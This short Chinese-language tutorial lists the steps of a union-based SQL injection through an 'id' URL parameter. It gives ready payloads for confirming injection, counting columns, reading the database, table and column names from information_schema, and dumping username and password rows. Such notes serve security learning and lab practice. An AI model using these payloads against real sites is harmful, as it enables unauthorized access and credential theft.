(1)判断注入:
?id=1 and 1=1 ?id=1 and 1=2
(2)判断列名字符个数
?id=1 order by 1 1、2、3试错,报错代表前一个是正确的。
(3)假设列名字符数为3
?id=1 union select 1,2,3
(4)获取数据库名称
?id=1 union select 1,database(),3 --+
--+排除字符干扰。
(5)获取数据库表名,假设数据库名称为:A
?id=1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='A'--+
(6)获取数据库列名,假设数据库A下表名名称为:a、b、c、d,选择d做实验。
?id=1 union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='A' and table_name='d'--+
(7)获取数据信息,假设数据库A下表名d的列名为id,username,password。
?id=1 union select id,username,password from A.d limit 0,1--+
解释0,1代表 第一段账号密码,1,1代表第二段账号密码